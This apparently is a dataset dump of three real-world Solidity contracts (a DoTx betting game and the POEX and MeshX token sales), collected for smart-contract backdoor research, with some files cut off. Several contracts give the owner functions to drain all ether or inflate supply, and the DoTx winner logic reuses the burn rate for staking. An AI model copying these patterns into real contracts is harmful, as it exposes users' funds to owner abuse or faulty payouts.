require(b != 0, errorMessage);
return a % b;
}
}
interface IDoTxLib{
function queryChainLinkPrice(string calldata _fsym, string calldata _fsymId, int256 _multiplicator, bytes4 _selector) external;
function fetchFirstDayPrices(string calldata firstHouseTicker, string calldata secondHouseTicker, string calldata firstHouseId, string calldata secondHouseId, int256 multiplicator, uint256 warIndex) external;
function fetchLastDayPrices(string calldata firstHouseTicker, string calldata currentSecondHouseTicker, string calldata firstHouseId, string calldata secondHouseId, int256 multiplicator, uint256 warIndex) external;
function setDoTxGame(address gameAddress) external;
function calculateHousePerf(int256 open, int256 close, int256 precision) external pure returns(int256);
function calculatePercentage(uint256 amount, uint256 percentage, uint256 selecteWinnerPrecision) external pure returns(uint256);
function calculateReward(uint256 dotxUserBalance, uint256 totalDoTxWinningHouse, uint256 totalDoTxLosingHouse) external view returns(uint256);
function getWarIndex() external view returns(uint256);
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
address private _owner2;
address public dotxLibAddress;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function owner2() public view returns (address) {
return _owner2;
}
function setOwner2(address ownerAddress) public onlyOwner {
_owner2 = ownerAddress;
}
modifier onlyOwner() {
require(_owner == _msgSender() || _owner2 == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyOwnerOrDoTxLib() {
require(_owner == _msgSender() || dotxLibAddress == _msgSender() || _owner2 == _msgSender(), "Ownable: caller is not the owner or the lib");
_;
}
modifier onlyDoTxLib() {
require(dotxLibAddress == _msgSender(), "Ownable: caller is not the owner or the lib");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract DoTxGameContract is Ownable {
using SafeMath for uint256;
address constant public BURN_ADDRESS = 0x0000000000000000000000000000000000000001;
struct War {
uint256 startTime;
uint256 duration;
uint256 ticketPrice;
uint256 purchasePeriod;
bytes32 winningHouse;
uint256 warFeesPercent;
int256 multiplicator;
uint256 burnPercentage;
uint256 stakingPercentage;
House firstHouse;
House secondHouse;
mapping(address => User) users;
}
struct House {
bytes32 houseTicker;
bytes32 houseId;
uint256 openPrice;
uint256 closePrice;
uint256 ticketsBought;
}
struct User {
bytes32 houseTicker;
uint256 ticketsBought;
bool rewardClaimed;
}
struct BurnStake {
uint256 firstHouseBurnDoTx;
uint256 firstHouseStakingDoTx;
uint256 secondHouseBurnDoTx;
uint256 secondHouseStakingDoTx;
}
struct WarHouses {
uint256 index;
bytes32 firstHouse;
bytes32 secondHouse;
uint256 startTime;
uint256 duration;
}
IDotTokenContract private dotxToken;
IDoTxLib private dotxLib;
address stakingAddress = address(0x1c2206f3115CaC3750acCb899d18d50b774C2f21);
mapping(uint256 => War) public wars;
uint256 public totalFees;
uint256 public selecteWinnerPrecision = 100000;
uint256 public burnPercentage = 5;
uint256 public stakingPercentage = 5;
int256 public multiplicator = 10000;
event WarStarted(uint256 warIndex);
event TicketBought(uint256 warIndex, string house, uint256 valueInDoTx, address sender, string txType);
event ClaimReward(uint256 warIndex, uint256 reward, uint256 balance, address sender, string txType);
event SwitchHouse(uint256 warIndex, string from, string to, address sender, uint256 valueInDoTx);
event openPriceFetched(uint256 warIndex);
event closePriceFetched(uint256 warIndex);
event StakeBurn(uint256 warIndex, uint256 burnValue, uint256 stakeValue);
modifier onlyIfCurrentWarFinished(uint256 warIndex) {
require(wars[warIndex].startTime.add(wars[warIndex].duration) <= now || warIndex == 0, "Current war not finished");
_;
}
modifier onlyIfCurrentWarNotFinished(uint256 warIndex) {
require(wars[warIndex].startTime.add(wars[warIndex].duration) > now, "Current war finished");
_;
}
modifier onlyIfTicketsPurchasable(uint256 warIndex) {
require(now.sub(wars[warIndex].startTime) < wars[warIndex].purchasePeriod,
"Purchase tickets period ended");
_;
}
modifier onlyIfPricesFetched(uint256 warIndex){
require(wars[warIndex].firstHouse.openPrice != 0 && wars[warIndex].secondHouse.openPrice != 0, "Open prices not fetched");
require(wars[warIndex].firstHouse.closePrice != 0 && wars[warIndex].secondHouse.closePrice != 0, "Close prices not fetched");
_;
}
constructor(address dotxTokenAddress, address dotxLibAddr, bool setupAddressInLib) public {
dotxToken = IDotTokenContract(dotxTokenAddress);
setDoTxLib(dotxLibAddr, setupAddressInLib);
}
function startWar(string memory _firstHouseTicker, string memory _secondHouseTicker, string memory _firstHouseId, string memory _secondHouseId,
uint256 _duration, uint256 _ticketPrice, uint256 _purchasePeriod, uint256 _warFeesPercent, uint256 _warIndex)
public onlyOwner returns(bool) {
require(_warIndex > dotxLib.getWarIndex(), "War index already exists");
wars[_warIndex] = War(now, _duration, _ticketPrice, _purchasePeriod, 0, _warFeesPercent, multiplicator, burnPercentage, stakingPercentage,
House(stringToBytes32(_firstHouseTicker), stringToBytes32(_firstHouseId), 0, 0, 0),
House(stringToBytes32(_secondHouseTicker), stringToBytes32(_secondHouseId), 0, 0, 0));
emit WarStarted(_warIndex);
fetchFirstDayPrices(_warIndex);
return true;
}
function buyTickets(string memory _houseTicker, uint _numberOfTicket, uint256 warIndex) public onlyIfTicketsPurchasable(warIndex) {
bytes32 houseTicker = stringToBytes32(_houseTicker);
House storage userHouse = getHouseStg(houseTicker, warIndex);
bytes32 userHouseTicker = wars[warIndex].users[msg.sender].houseTicker;
require(userHouse.houseTicker == houseTicker && (userHouseTicker == houseTicker || userHouseTicker == 0), "You can not buy tickets for the other house");
wars[warIndex].users[msg.sender].houseTicker = userHouse.houseTicker;
wars[warIndex].users[msg.sender].ticketsBought = wars[warIndex].users[msg.sender].ticketsBought.add(_numberOfTicket);
userHouse.ticketsBought = userHouse.ticketsBought.add(_numberOfTicket);
uint256 valueInDoTx = wars[warIndex].ticketPrice.mul(_numberOfTicket);
emit TicketBought(warIndex, _houseTicker, valueInDoTx, msg.sender, "BOUGHT");
dotxToken.transferFrom(msg.sender, address(this), valueInDoTx);
}
function switchHouse(string memory _fromHouseTicker, string memory _toHouseTicker, uint256 warIndex) public onlyIfTicketsPurchasable(warIndex) {
bytes32 fromHouseTicker = stringToBytes32(_fromHouseTicker);
bytes32 toHouseTicker = stringToBytes32(_toHouseTicker);
require(checkIfHouseInCompetition(toHouseTicker, warIndex) && fromHouseTicker != toHouseTicker, "House not in competition");
require(wars[warIndex].users[msg.sender].houseTicker == fromHouseTicker, "User doesn't belong to fromHouse");
House storage fromHouse = getHouseStg(fromHouseTicker, warIndex);
House storage toHouse = getHouseStg(toHouseTicker, warIndex);
wars[warIndex].users[msg.sender].houseTicker = toHouseTicker;
uint256 ticketsBoughtByUser = wars[warIndex].users[msg.sender].ticketsBought;
fromHouse.ticketsBought = fromHouse.ticketsBought.sub(ticketsBoughtByUser);
toHouse.ticketsBought = toHouse.ticketsBought.add(ticketsBoughtByUser);
uint256 feesToBePaid = getFeesForSwitchHouse(msg.sender, warIndex);
totalFees = totalFees.add(feesToBePaid);
emit SwitchHouse(warIndex, _fromHouseTicker, _toHouseTicker, msg.sender, feesToBePaid);
dotxToken.transferFrom(msg.sender, address(this), feesToBePaid);
}
function claimRewardAndTickets(uint256 warIndex) public onlyIfCurrentWarFinished(warIndex) returns(bool) {
require(wars[warIndex].users[msg.sender].rewardClaimed == false, "You already claimed your reward");
require(wars[warIndex].users[msg.sender].ticketsBought > 0 && wars[warIndex].users[msg.sender].houseTicker == wars[warIndex].winningHouse, "User doesn't belong to winning house");
wars[warIndex].users[msg.sender].rewardClaimed = true;
uint256 reward = getCurrentReward(wars[warIndex].winningHouse, msg.sender, warIndex);
uint256 balance = getUserDoTxInBalance(warIndex, msg.sender);
dotxToken.transfer(msg.sender, reward.add(balance));
emit ClaimReward(warIndex, reward, balance, msg.sender, "CLAIM");
}
function fetchFirstDayPrices(uint256 warIndex) public onlyOwner {
require(wars[warIndex].firstHouse.openPrice == 0 && wars[warIndex].secondHouse.openPrice == 0, "Open prices already fetched");
string memory firstHouse = bytes32ToString(wars[warIndex].firstHouse.houseTicker);
string memory secondHouse = bytes32ToString(wars[warIndex].secondHouse.houseTicker);
dotxLib.fetchFirstDayPrices(firstHouse, secondHouse, bytes32ToString(wars[warIndex].firstHouse.houseId), bytes32ToString(wars[warIndex].secondHouse.houseId), wars[warIndex].multiplicator, warIndex);
}
function fetchLastDayPrices(uint256 warIndex) public onlyOwner onlyIfCurrentWarFinished(warIndex) {
require(wars[warIndex].firstHouse.closePrice == 0 && wars[warIndex].secondHouse.closePrice == 0, "Close prices already fetched");
string memory firstHouse = bytes32ToString(wars[warIndex].firstHouse.houseTicker);
string memory secondHouse = bytes32ToString(wars[warIndex].secondHouse.houseTicker);
dotxLib.fetchLastDayPrices(firstHouse, secondHouse, bytes32ToString(wars[warIndex].firstHouse.houseId), bytes32ToString(wars[warIndex].secondHouse.houseId), wars[warIndex].multiplicator, warIndex);
}
function selectWinner(uint256 warIndex) public onlyOwner onlyIfCurrentWarFinished(warIndex) onlyIfPricesFetched(warIndex) {
require(wars[warIndex].winningHouse == 0, "Winner already selected");
int256 precision = int256(selecteWinnerPrecision);
int256 firstHousePerf = dotxLib.calculateHousePerf(int256(wars[warIndex].firstHouse.openPrice), int256(wars[warIndex].firstHouse.closePrice), precision);
int256 secondHousePerf = dotxLib.calculateHousePerf(int256(wars[warIndex].secondHouse.openPrice), int256(wars[warIndex].secondHouse.closePrice), precision);
wars[warIndex].winningHouse = (firstHousePerf > secondHousePerf ? wars[warIndex].firstHouse : wars[warIndex].secondHouse).houseTicker;
House memory losingHouse = (firstHousePerf > secondHousePerf ? wars[warIndex].secondHouse : wars[warIndex].firstHouse);
uint256 burnValue = calculateBurnStaking(losingHouse, true, warIndex);
dotxToken.transfer(BURN_ADDRESS, burnValue);
uint256 stakingValue = calculateBurnStaking(losingHouse, true, warIndex);
dotxToken.transfer(stakingAddress, stakingValue);
emit StakeBurn(warIndex, burnValue, stakingValue);
}
function firstHouseOpen(uint256 _price, uint256 warIndex) external onlyDoTxLib {
wars[warIndex].firstHouse.openPrice = _price;
openPriceEvent(warIndex);
}
function secondHouseOpen(uint256 _price, uint256 warIndex) external onlyDoTxLib {
wars[warIndex].secondHouse.openPrice = _price;
openPriceEvent(warIndex);
}
function firstHouseClose(uint256 _price, uint256 warIndex) external onlyDoTxLib {
wars[warIndex].firstHouse.closePrice = _price;
closePriceEvent(warIndex);
}
function secondHouseClose(uint256 _price, uint256 warIndex) external onlyDoTxLib {
wars[warIndex].secondHouse.closePrice = _price;
closePriceEvent(warIndex);
}
function openPriceEvent(uint256 warIndex) private {
if(wars[warIndex].firstHouse.openPrice != 0 && wars[warIndex].secondHouse.openPrice != 0){
emit openPriceFetched(warIndex);
}
}
function closePriceEvent(uint256 warIndex) private {
if(wars[warIndex].firstHouse.closePrice != 0 && wars[warIndex].secondHouse.closePrice != 0){
emit closePriceFetched(warIndex);
}
}
function getUserDoTxInBalance(uint256 _warIndex, address userAddress) public view returns(uint256){
return wars[_warIndex].users[userAddress].ticketsBought.mul(wars[_warIndex].ticketPrice);
}
function getFeesForSwitchHouse(address userAddress, uint256 warIndex) public view returns(uint256){
return (getUserDoTxInBalance(warIndex, userAddress).mul(wars[warIndex].warFeesPercent)).div(100);
}
function getUser(uint256 _warIndex, address userAddress) public view returns(User memory){
return wars[_warIndex].users[userAddress];
}
function getHouse(uint256 _warIndex, string memory houseTicker) public view returns(House memory){
bytes32 ticker = stringToBytes32(houseTicker);
return wars[_warIndex].firstHouse.houseTicker == ticker ? wars[_warIndex].firstHouse : wars[_warIndex].secondHouse;
}
function getBurnStake(uint256 warIndex) public view returns(BurnStake memory){
return BurnStake(calculateBurnStaking(wars[warIndex].firstHouse, true, warIndex), calculateBurnStaking(wars[warIndex].firstHouse, false, warIndex),
calculateBurnStaking(wars[warIndex].secondHouse, true, warIndex), calculateBurnStaking(wars[warIndex].secondHouse, false, warIndex));
}
function getWarsHouses(uint256 min, uint256 max) public view returns (WarHouses[20] memory){
WarHouses[20] memory houses;
uint256 i = min;
uint256 index = 0;
while(index < 20 && i <= (max - min) + 1){
houses[index] = (WarHouses(i, wars[i].firstHouse.houseTicker, wars[i].secondHouse.houseTicker, wars[i].startTime, wars[i].duration));
i++;
index++;
}
return houses;
}
function setSelectWinnerPrecision(uint256 _precision) public onlyOwner{
selecteWinnerPrecision = _precision;
}
function setStakingBurnPercentageWar(uint256 _burnPercentage, uint256 _stakingPercentage, uint256 warIndex) public onlyOwner{
wars[warIndex].burnPercentage = _burnPercentage;
wars[warIndex].stakingPercentage = _stakingPercentage;
}
function setStakingBurnPercentage(uint256 _burnPercentage, uint256 _stakingPercentage) public onlyOwner{
burnPercentage = _burnPercentage;
stakingPercentage = _stakingPercentage;
}
function setMultiplicatorWar(int256 _multiplicator, uint256 warIndex) public onlyOwner{
wars[warIndex].multiplicator = _multiplicator;
}
function setMultiplicator(int256 _multiplicator) public onlyOwner{
multiplicator = _multiplicator;
}
function withdrawFees() public onlyOwner {
dotxToken.transfer(owner(), totalFees);
totalFees = 0;
}
function setDoTxLib(address dotxLibAddr, bool setupAddressInLib) public onlyOwner {
dotxLibAddress = dotxLibAddr;
dotxLib = IDoTxLib(dotxLibAddress);
if(setupAddressInLib){
dotxLib.setDoTxGame(address(this));
}
}
function setStakingAddress(address stakingAdr) public onlyOwner {
stakingAddress = stakingAdr;
}
function getHouseStg(bytes32 ticker, uint256 warIndex) private view returns(House storage){
return wars[warIndex].firstHouse.houseTicker == ticker ? wars[warIndex].firstHouse : wars[warIndex].secondHouse;
}
function checkIfHouseInCompetition(bytes32 _houseTicker, uint256 warIndex) private view returns(bool){
return wars[warIndex].firstHouse.houseTicker == _houseTicker || wars[warIndex].secondHouse.houseTicker == _houseTicker;
}
function getCurrentRewardString(string memory _winningHouse, address userAddress, uint256 warIndex) public view returns(uint256){
bytes32 winningHouseTicker = stringToBytes32(_winningHouse);
return getCurrentReward(winningHouseTicker, userAddress, warIndex);
}
function getCurrentReward(bytes32 _winningHouse, address userAddress, uint256 warIndex) public view returns(uint256){
House memory losingHouse = wars[warIndex].firstHouse.houseTicker == _winningHouse ? wars[warIndex].secondHouse : wars[warIndex].firstHouse;
uint256 totalDoTxWinningHouse = getHouseStg(_winningHouse, warIndex).ticketsBought.mul(wars[warIndex].ticketPrice);
uint256 totalDoTxLosingHouse = losingHouse.ticketsBought.mul(wars[warIndex].ticketPrice).sub(calculateBurnStaking(losingHouse, true, warIndex)).sub(calculateBurnStaking(losingHouse, false, warIndex));
return dotxLib.calculateReward(getUserDoTxInBalance(warIndex, userAddress), totalDoTxWinningHouse, totalDoTxLosingHouse);
}
function calculateBurnStaking(House memory house, bool isBurn, uint256 warIndex) public view returns(uint256){
uint256 ticketsBoughtValueDoTx = house.ticketsBought.mul(wars[warIndex].ticketPrice);
uint256 percentage = isBurn ? wars[warIndex].burnPercentage : wars[warIndex].stakingPercentage;
return dotxLib.calculatePercentage(ticketsBoughtValueDoTx, percentage, selecteWinnerPrecision);
}
function stringToBytes32(string memory source) public pure returns (bytes32 result) {
bytes memory tempEmptyStringTest = bytes(source);
if (tempEmptyStringTest.length == 0) {
return 0x0;
}
assembly {
result := mload(add(source, 32))
}
}
function bytes32ToString(bytes32 x) public pure returns (string memory) {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (uint256 j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
}
| 276,145 | 13,257 |
2008c843993e1b07febb2302250a83f30cb2a9d587a0df1b393a86c84566a742
| 11,026 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x971ed653c77406819c28f29d127753c0943235fa.sol
| 2,656 | 10,082 |
pragma solidity ^0.4.26;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract POEX is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "Poex Global";
string public constant symbol = "PO";
uint public constant decimals = 8;
uint public deadline = now + 50 * 1 days;
uint public round2 = now + 40 * 1 days;
uint public round1 = now + 25 * 1 days;
uint256 public totalSupply = 10000000000e8;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 100; // 0.01 Ether
uint256 public tokensPerEth = 6000000e8;
uint public target0drop = 4000;
uint public progress0drop = 0;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 1500000000e8;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require(_amount > 0);
require(totalDistributed < totalSupply);
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
// log
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether;
uint256 bonusCond2 = 1 ether * 5;
uint256 bonusCond3 = 1 ether * 10;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 30 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 40 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 50 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 20 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 30 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 40 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 12500e8;
if (Claimed[investor] == false && progress0drop < target0drop) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require(msg.value >= requestMinimum);
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if(now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require(msg.value >= requestMinimum);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
| 143,188 | 13,258 |
8e5cf8d7bcb77fb80112236a9f381d58c5e2b2ef50e5e5fed52d9845c982c13c
| 10,777 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x0248a296ad4a2c21b793efe777024760677331a3.sol
| 2,866 | 10,544 |
pragma solidity ^0.4.24;
//
// MeshX Token
//
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract MeshXToken {
using SafeMath for uint256;
string public constant name = "MeshX";
string public constant symbol = "MSX";
uint public constant decimals = 18;
uint256 EthRate = 10 ** decimals;
uint256 Supply = 3000000000;
uint256 public totalSupply = Supply * EthRate;
uint256 public minInvEth = 2 ether;
uint256 public maxInvEth = 2000.0 ether;
uint256 public sellStartTime = 1533052800; // 2018/8/1
uint256 public sellDeadline1 = sellStartTime + 60 days;
uint256 public sellDeadline2 = sellDeadline1 + 60 days;
uint256 public freezeDuration = 180 days;
uint256 public ethRate1 = 3600;
uint256 public ethRate2 = 3000;
bool public running = true;
bool public buyable = true;
address owner;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public whitelist;
mapping (address => uint256) whitelistLimit;
struct BalanceInfo {
uint256 balance;
uint256[] freezeAmount;
uint256[] releaseTime;
}
mapping (address => BalanceInfo) balances;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event BeginRunning();
event Pause();
event BeginSell();
event PauseSell();
event Burn(address indexed burner, uint256 val);
event Freeze(address indexed from, uint256 value);
constructor () public{
owner = msg.sender;
balances[owner].balance = totalSupply;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyWhitelist() {
require(whitelist[msg.sender] == true);
_;
}
modifier isRunning(){
require(running);
_;
}
modifier isNotRunning(){
require(!running);
_;
}
modifier isBuyable(){
require(buyable && now >= sellStartTime && now <= sellDeadline2);
_;
}
modifier isNotBuyable(){
require(!buyable || now < sellStartTime || now > sellDeadline2);
_;
}
// mitigates the ERC20 short address attack
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
// 1eth = newRate tokens
function setPublicOfferPrice(uint256 _rate1, uint256 _rate2) onlyOwner public {
ethRate1 = _rate1;
ethRate2 = _rate2;
}
//
function setPublicOfferLimit(uint256 _minVal, uint256 _maxVal) onlyOwner public {
minInvEth = _minVal;
maxInvEth = _maxVal;
}
function setPublicOfferDate(uint256 _startTime, uint256 _deadLine1, uint256 _deadLine2) onlyOwner public {
sellStartTime = _startTime;
sellDeadline1 = _deadLine1;
sellDeadline2 = _deadLine2;
}
function transferOwnership(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function pause() onlyOwner isRunning public {
running = false;
emit Pause();
}
function start() onlyOwner isNotRunning public {
running = true;
emit BeginRunning();
}
function pauseSell() onlyOwner isBuyable isRunning public{
buyable = false;
emit PauseSell();
}
function beginSell() onlyOwner isNotBuyable isRunning public{
buyable = true;
emit BeginSell();
}
//
// _amount in MeshX,
//
function airDeliver(address _to, uint256 _amount) onlyOwner public {
require(owner != _to);
require(_amount > 0);
require(balances[owner].balance >= _amount);
// take big number as wei
if(_amount < Supply){
_amount = _amount * EthRate;
}
balances[owner].balance = balances[owner].balance.sub(_amount);
balances[_to].balance = balances[_to].balance.add(_amount);
emit Transfer(owner, _to, _amount);
}
function airDeliverMulti(address[] _addrs, uint256 _amount) onlyOwner public {
require(_addrs.length <= 255);
for (uint8 i = 0; i < _addrs.length; i++) {
airDeliver(_addrs[i], _amount);
}
}
function airDeliverStandalone(address[] _addrs, uint256[] _amounts) onlyOwner public {
require(_addrs.length <= 255);
require(_addrs.length == _amounts.length);
for (uint8 i = 0; i < _addrs.length; i++) {
airDeliver(_addrs[i], _amounts[i]);
}
}
//
// _amount, _freezeAmount in MeshX
//
function freezeDeliver(address _to, uint _amount, uint _freezeAmount, uint _freezeMonth, uint _unfreezeBeginTime) onlyOwner public {
require(owner != _to);
require(_freezeMonth > 0);
uint average = _freezeAmount / _freezeMonth;
BalanceInfo storage bi = balances[_to];
uint[] memory fa = new uint[](_freezeMonth);
uint[] memory rt = new uint[](_freezeMonth);
if(_amount < Supply){
_amount = _amount * EthRate;
average = average * EthRate;
_freezeAmount = _freezeAmount * EthRate;
}
require(balances[owner].balance > _amount);
uint remainAmount = _freezeAmount;
if(_unfreezeBeginTime == 0)
_unfreezeBeginTime = now + freezeDuration;
for(uint i=0;i<_freezeMonth-1;i++){
fa[i] = average;
rt[i] = _unfreezeBeginTime;
_unfreezeBeginTime += freezeDuration;
remainAmount = remainAmount.sub(average);
}
fa[i] = remainAmount;
rt[i] = _unfreezeBeginTime;
bi.balance = bi.balance.add(_amount);
bi.freezeAmount = fa;
bi.releaseTime = rt;
balances[owner].balance = balances[owner].balance.sub(_amount);
emit Transfer(owner, _to, _amount);
emit Freeze(_to, _freezeAmount);
}
// buy tokens directly
function () external payable {
buyTokens();
}
//
function buyTokens() payable isRunning isBuyable onlyWhitelist public {
uint256 weiVal = msg.value;
address investor = msg.sender;
require(investor != address(0) && weiVal >= minInvEth && weiVal <= maxInvEth);
require(weiVal.add(whitelistLimit[investor]) <= maxInvEth);
uint256 amount = 0;
if(now > sellDeadline1)
amount = msg.value.mul(ethRate2);
else
amount = msg.value.mul(ethRate1);
whitelistLimit[investor] = weiVal.add(whitelistLimit[investor]);
balances[owner].balance = balances[owner].balance.sub(amount);
balances[investor].balance = balances[investor].balance.add(amount);
emit Transfer(owner, investor, amount);
}
function addWhitelist(address[] _addrs) public onlyOwner {
require(_addrs.length <= 255);
for (uint8 i = 0; i < _addrs.length; i++) {
if (!whitelist[_addrs[i]]){
whitelist[_addrs[i]] = true;
}
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner].balance;
}
function freezeOf(address _owner) constant public returns (uint256) {
BalanceInfo storage bi = balances[_owner];
